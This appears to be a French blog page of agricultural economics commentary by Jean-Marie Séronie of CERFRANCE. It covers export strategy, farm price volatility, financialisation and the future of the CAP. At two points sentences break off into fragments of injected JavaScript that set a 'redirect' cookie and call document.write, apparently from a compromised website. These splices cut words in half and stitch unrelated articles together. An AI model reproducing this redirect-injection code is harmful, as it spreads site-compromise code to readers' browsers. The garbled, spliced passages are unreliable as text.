L’horizon économique et financier global a rarement été aussi incertain. La croissance française est en panne, l’État peine à se financer, la zone euro tremble… Dans cette ambiance très morose un secteur doit avoir le sourire : l’agriculture. Dans presque toutes les productions la conjoncture des marchés et des prix est actuellement favorable et demeure bien orientée.
Pourtant le sourire reste crispé. Certes la météo aura cette année beaucoup joué avec les nerfs des producteurs ! Cette campagne très atypique a fait craindre le pire pour finalement se révéler acceptable sur les volumes comme sur la qualité.
Certes, le déséquilibre mondial entre l’offre et la demande crée une situation de tension forte et de grande nervosité sur les marchés. Ceci entraine bien sûr une augmentation de la spéculation accentuée par la masse croissante des capitaux liquides disponibles au niveau planétaire. Mais cela renforce également la connexion des marchés entre eux. Cela passe, par exemple, par des effets complexes de transferts liés au coût de l’énergie et du sucre. Ainsi le maïs est devenu cette année le marché directeur pour les commodités végétales.
Le plus spectaculaire reste sans doute notre situation à l’export. Du fait du dynamisme de la demande asiatique et de l’évolution de la politique de certains états privilégiant leur marché intérieur comme l’Amérique du sud ou se trouvant en manque de disponibilités, de nombreux marchés exports restent aujourd’hui ouverts.
Grande prudence à l’export
Ceci devrait nous permettre de reconquérir certains de nos marchés traditionnels de proximité pour la viande, le lait, les volailles.
Et pourtant on constate une difficulté majeure des opérateurs français à saisir ces opportunités (il suffit de se remémorer le roman fleuve du GIE Export viandes, le souhait de groupes comme LACTALIS, Bigard ou même BONGRAIN de ne pas augmenter leurs fabrications en France… Nous sommes donc très loin d’une position conquérante.
Sommes-nous devant une frilosité, une hyper prudence, un froid calcul opportuniste de maximisation du résultat court terme ou un pragmatisme visionnaire des industriels privilégiant la Corrèze au Zambèze, pour paraphraser une formule célèbre ? C’est une question essentielle du projet agricole français donc une question éminemment politique.
Nous avons construit depuis une vingtaine d’années une culture agricole franco-centrée axée sur la satisfaction du marché intérieur. Sans parler d’agriculture de riches, l’analyse économique montre que nous avons fait le choix de produits de qualité avec des coûts de production élevés et une faible productivité du travail. Cet état d’esprit conditionne donc l’ambition des entreprises de transformations autant que celle des agriculteurs. La différence avec les allemands est d’ailleurs saisissante. C’est une véritable question de gouvernance de l’agriculture.
Satisfaire le pré carré
Ce choix d’une agriculture centrée sur nos besoins domestiques constitue une sécurité de long terme avec le moins d’à-coups possibles. Cette attitude peut s’avérer sage si la crise financière s’amplifie et conduit comme dans les années trente à une séquence historique protectionniste, mais la probabilité de ce repli sur soi est faible. En revanche, elle conduit à refuser de saisir des opportunités de création de valeur par l’export qui sert uniquement à dégager les excédents.
À l’opposé, se présente le choix de moderniser nos filières vers davantage de flexibilité à tous les maillons afin de saisir toutes les opportunités de débouchés sur les marchés mondiaux, l’export devient alors une véritable stratégie comme c’est le cas actuellement pour les vins et spiritueux. Cette stratégie est sur le long terme davantage créatrice de richesses mais elle est porteuse de soubresauts et de crises passagères… c’est un autre monde.
Il s’agit donc d’un véritable choix de politique agricole… ou plus simplement un choix politique car il ne s’improvise pas àate.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘
La financiarisation de l’agriculture: comment ça marche? Par Jean-Marie SERONIE, Responsable de la Veille Economique Réseau CERFRANCE et Directeur du CERFRANCE Manche
La financiarisation, un phénomène nouveau pour l’agriculture? par Jean-Marie Séronie, Directeur du CERFRANCE Manche et Responsable de la Veille Economique Réseau CERFRANCE.
C’est aujourd’hui un lieu commun de parler de variabilité des prix des produits agricoles. Tout le monde sait que le prix à la production du blé a doublé en moins de six mois, que le prix du lait payé au producteur a varié à la hausse comme à la baisse du simple au double en deux ans avec des pointes à plus de 400 € et des creux frisant les 200 € pour 1000 litres.
Pour autant, interrogeons-nous sur la situation de la viande bovine pour laquelle l’observatoire des prix montre une grande stabilité des prix à la production sur dix ans. En production porcine quel producteur ne souhaiterait pas une variabilité des prix tant les cours sont bloqués à une valeur relativement basse depuis plus de trois ans.
Ces prix sont déconnectés des coûts de production et il y a peu de liens entre les prix à la production et ceux à la consommation. L’observatoire des prix a démontré tant en lait qu’en viande que la grande distribution n’avait pas, contrairement aux idées reçues, augmenté ses marges. Pour autant comment se fait il qu’elle constitue une barrière aussi étanche à la transmission des prix ?
Ceci questionne fortement la théorie Economique sur la transmission du prix dans la chaîne alimentaire. Même si on peut imaginer que sur longue période il y a reconnexion de ces prix.
Enfin pourquoi certaines productions connaissent-elles des prix beaucoup plus volatils que d’autres ? Il y a bien sûr, de manière structurelle , le caractère stockable ou non en ferme qui joue.
Cela n’explique pas tout et la notion de référence dans la fixation du prix est une donnée sans doute essentielle. En céréales il y a un marché mondialisé avec des références de prix par des cotations considérées comme ouvertes et transparentes et des anticipations connues par les marches à terme. En lait au contraire il y a un marché partiellement mondialise mais des prix à la production indexés sur des prix à la consommation et sur les marchés mondiaux ce qui donne de la transparence. A l’opposé il n’y a en réalité pas de référentiel objectif’ en viande bovine comme porcine. Il n y a en fait ni référence à des cours mondiaux ou des prix à la consommation mais constatation de prix de transactions, avec une défiance permanente sur la transparence et la pertinence de la référence ainsi constituée ? Est ce une explication du peu de variabilité des prix dans ces secteurs ? Là aussi la science écorect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘
L’ambiance dans nos campagnes est morose cet automne et le pessimisme largement répandu. Les éleveurs s’inquiètent des prix et les céréaliers craignent pour l’avenir des aides PAC.
Les discours officiels ou syndicaux alternent la dénonciation d’une crise sans précédent, les appels à un plan de sauvetage de telle ou telle production ou se mortifient du différentiel de performance agricole avec l’Allemagne… et pourtant la plupart des marchés agricoles mondiaux sont plutôt bien orientés y compris en productions animales.
Le sentiment qu’ont beaucoup d’agri-culteurs d’une absence d’avenir et la recherche classique de bouc émissaire (l’aigle allemand rejoint aujourd’hui le plus classique dragon GMS) font écho à une réalité économique de perspectives de marchés agricoles mondiaux favorables, ce qui constitue la meilleure des sécurités pour un chef d’entreprise.
D’où vient cette situation paradoxale ?
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La messe semblait dite à Bruxelles : il faut considérablement réduire les ambitions d’une PAC budgétivore puisqu’elle ne sert plus à grand chose. Les objectifs des années 60 sont atteints et les réformes libérales engagées depuis Mac Sharry en 1992 ont été un succès. Nos stocks sont à zéro et nous exportons sans soutien.
Il ne reste plus qu’à réduire en douceur les budgets pour les allouer à de nouvelles politiques de croissance durable davantage en phase avec la modernité et les demandes de nos concitoyens… C’était il y a trois ans… une éternité… depuis les prix ont flambé en 2007 ressuscitant le fantôme de la rareté et se sont effondrés en 2009 engendrant sans doute la pire crise agricole de toute l’histoire de la PAC.
L’ambiance est donc aujourd’hui tout autre dans les couloirs Bruxellois…
On entend des propos du style : le commissaire souhaite des agriculteurs sur tous les territoires de l’Union… il faut différents types d’agriculture… Il faut une sécurité alimentaire… L’agriculture est productrice de biens publics dont l’emploi… Quelle régulation des marchés ? …
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